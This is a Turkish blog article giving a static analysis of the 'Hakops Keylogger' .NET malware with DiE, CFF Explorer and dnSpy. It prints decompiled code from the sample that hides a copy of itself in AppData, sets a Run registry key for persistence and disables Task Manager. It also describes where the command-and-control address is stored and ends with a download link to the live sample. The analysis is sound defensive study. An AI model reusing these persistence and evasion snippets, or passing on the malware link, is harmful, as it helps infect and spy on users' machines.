Eren Yılmaz tarafından 11 Mart 2021 tarihinde yazılmıştır.
Merhaba, bu makalemizde sizlerle beraber piyasada yaygın bir şekilde kullanılan Hakops Keylogger isimli zararlı yazılımın statik analizini yapacağız.Statik Zararlı Yazılım Analiz nedir?
Statik Zararlı Yazılım Analizi, yazılımın belirli işlemlerden geçirilip yorumlandıktan sonra kodlarını okuduğumuz analiz çeşididir. Dinamik Zararlı Yazılım Analizine Göre yavaş bir şekilde gerçekleşir. Dinamik analizden farkı yazılım hiç çalıştırılmaz. Kodların üzerinden belirli işlemlerden geçirilip yazılım da zararlı amaç aranır.Yazılım hangi programlama dili ile yazıldı?
Yazılımın hangi dil ile yazıldığını anlamak için bir çok yazılım kullanabilirsiniz, ben die (Detect It Easy) kullanacağım, dosyayı yazılıma sürüklediğimde karşıma şöyle bir ekran çıkıyor.Burada bize yazılımın başlangıç noktası, kütüphanesi ve derleyicisi gibi bilgiler veriliyor. Yazılım net framework kütüphanesini kullanmış, vb.net ile yazılmış. Ve bunlar dışında yazılımda herhangi bir koruma olsa idi die bize onu da gösterirdi.
Yazılım hangi dll'leri import etti?
Yazılımın içeri aktardığı dll'leri yorumlamak tersine mühendislikte en az yazılımın kodlarını okumak kadar önemli bir işlemdir. Bu işlem için "cff explorer" isimli yazılımı kullanabiliriz. Programı içeri yükleyip "import directory" isimli kısma bakalım.yazılıma mscore.dll isimli dll'i import ettiğini görüyoruz. Biraz araştırma yaptığım ve dll'in tarayıcı her çalıştığında kendini başlatabilme potansiyeline sahip olduğunu gördüm. (bknz kaynak: https://tr.nex-software.com/mscoreedll-dosyasi-nedir )
Şimdi zaman kaybetmeden yazılımın kodlarını yorumlama aşamasına geçelim.
Yazılımın kodlarını nasıl yorumlarız?
Net framework kütüphanesini kullanan yazılımların kaynak kodlarını yorumlamak için en kazançlı yazılım Dnspy'dır. Dnspy bu işlemler nasıl yapıyor? diye soracak olursanız şöyle özetleyeyim.Net framework kütüphanesini kullanan yazılımlar nasıl çalışır?
.Net kütüphanesini kullanan bir yazılım derlendiğinde masaüstünde IL kodlarının .exe uzantısına dönüşmüş haliyle durur sonra çalıştırıldığında bir daha derlenir. Derleme işleminden itibaren yazılımın kodlarını makinenin anlayabileceği java'nın byte kodlarına benzeyen bir yapıya yani IL kodlarına dönüştürülür. Sonra IL kodları jit'e gider, jit'te yazılımın IL kodlarını runtime makine koduna çevirip yazılımı çalıştırır. Net framework ile yazılmış bir yazılım bu şekilde çalışır.Peki bu işin tersine olan kısmını nasıl yapacağız?
Kodların yorumlanacağı yazılımı ilk olarak Disassemble işleminden geçireceğiz, bu işlemde IL kodları makine diline dönüştürülür. Sonra kodu makine dilinden hedef dile yorumlamak için decomple işlemi yaparız. Decomple işleminde makine dili hedef programlama diline göre yorumlanır. Yukarda anlattığım gibi bu işin tersine kısmını dnspy ile otomatize bir şekilde halledebiliriz.Şimdi aksiyon zamanı! Yazılımın kodlarını inceleyip yorumlayalım.
Yazılımımızı dnspy ile açtığımızda karşımıza şu şekilde bir ekran geliyor.Şimdi ise ilk önce başlangıç noktasının (entry point) üstüne basarak programın main fonksiyonuna gidiyoruz. Fakat işimize yarar bir şey bulamıyoruz.
Bu arada yazılımın kodlarını okur iken sol tarafta karşımıza windowsolaygünlüğü.exe diye bir isim çıkıyor. Bizim elimizdeki yazılımın ismi anonimlerddos.exe bu 2si çakışıyor. Belli ki yazılım kendini kullanıcıya masum göstermeye çalışıyor şeklinde bir varsayımda bulunuyoruz. Devam edelim.
Şimdi yazılımın kodlarını arayalım, ben buldum. kodlar "Windows_Olay_gunlügü>Form1 (@02000008) " konumunda, burda yazılımın class'larını görüyoruz.
Classların hepsini okuyup yorumlamamız gerekli ama bu çok uzun bir süreç olacağından dolayı ben önceden kodları okudum. Okuduğum kodları gelin beraber yorumlayalım.
Appdata klasörüne svchost.exe'yi kopyalama
İlk olarak Form1>Form1_Load sınıfının 81. satırında bulunan koda bir bakalım.FileSystem.FileCopy(Application.ExecutablePath, Interaction.Environ("appdata") + "\\svcshost.exe");
Bu kodda açık olarak bilgisayarımızın appdata klasörüne svchost isimli bir yazılım kopyalandığını görüyoruz.
Svchost.exe'yi gizleme
Şimdi Form1>Form1_Load sınıfının 91. satırında bulunan koda bi göz atalım.
Kod:
FileSystem.SetAttr(Interaction.Environ("appdata") + "\\svcshost.exe", FileAttribute.Hidden);
Svchost.exe'yi başlangıca ekleme
Sırada ki kodumuz Form1>Form1_Load sınıfının 108 ve 102. satırlarında.
Kod:
MyProject.Computer.Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Windows Olay Günlügü").SetValue("Windows Olay Günlügü", Interaction.Environ("appdata") + "\\svcshost.exe");
//Regedit'te subkey oluşturma
MyProject.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true).SetValue("Windows Olay Günlügü", Interaction.Environ("appdata") + "\\svcshost.exe");
//Regedit subkey açma
Görev yöneticisini devre dışı bırakma
Bir sonraki kodumuz Form1>Form1_Load sınıfının 64 ve 67 satırlarında bulunuyor.
Kod:
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
//Subkey oluşturarak işlem yapılacak bölümü registrykey değişkeninin içine atıyor.
registryKey.SetValue("DisableTaskMgr", 1);
//DisableTaskMgr girdisine 1 değerini atayarak görev yöneticisini devre dışı bırakıyor.
// Kaynak: https://getadmx.com/HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System
Türkçe karakterleri İngilizce karakterlere çevirme
Şimdi ki kodumuz Form1>duzenle sınıfında bulunuyor.
Kod:
private object Duzenle(string Kelime)
{
Kelime = Strings.Replace(Kelime, "ç", "c", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "Ç", "C", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "İ", "I", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "ı", "i", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "ğ", "g", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "Ğ", "G", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "ş", "s", 1, -1, CompareMethod.Binary);
Kelime = Strings.Replace(Kelime, "Ş", "S", 1, -1, CompareMethod.Binary);
return Kelime;
}
Yazılımın iletişim adresini bulma
Son olarak yazılımın iletişim adresini bulmalıyız, bu işin en komplike kısmı. Şahsen ben bu konuda yazılımı ilk analiz ettiğimde baya yardım almıştım. Yazılımın kodlarının belirli yerlerinde sunucu isimli değişkenler bulunuyor. Örnek olarak Form1>Getİp sınıfının 19. satırında.sunucu değişkenine sağ tıklayıp analiz diyoruz.
atayan kısmının altındaki ifadeye çift tıkladığımda değişkenin tanımlandığı yere geliyoruz.
sVeri[1] listesinin 1. girdisinde yazan değeri kendine atıyor. Acaba orda ne var?
673. satırda file open fonksiyonunu kullanarak kendine 1 değerini vermiş. 678. satırda az önce aldığı 1 değerinin boyutunu almış.681. satırda fileget fonksiyonu ile kendi byte kodlarını çekmiş. 690. satırda az önce anlattığım zımbırtıları kullanarak iletişim adresini yazılımın byte kodlarından çekmiş. Yani işin Türkçesi yazılımı not defteri gibi bir yazılım ile açıp <-hakops-> sorgusunu arattığınızda bu kelimenin yanında iletişim adresini bulacaksınız.
Bu kısmı biraz karışık anlatmış olabilirim, açık söylemek gerekir ise ben de iletişim adresi bulma kısmını yardım alarak yaptım ve konuya çok fazla hakim değilim.
"Hakops Keylogger Statik Zararlı Yazılım Analizi" konusunu işlediğim makalem bu kadardı, reverse engineering çok geniş bir kavram haliyle bilmediğim veya yanlış&eksik anlattığım bölümler olabilir. Böyle durumlarda yorumlar kısmını kullanırsanız hem bana hem de bu makaleyi okuyan diğer insanlara yardım edebilirsiniz.
Zararlı yazılımın indirme linki: https://www.dosya.tc/server33/6f08et/anonimler_ddos.exe.html
DipNot: Zararlı yazılım şahsıma ait değildir ve yazılımı açıp bilgisayarınıza vereceğiniz herhangi bir hasarda pwnlab.me ve şahsım sorumlu tutulamaz.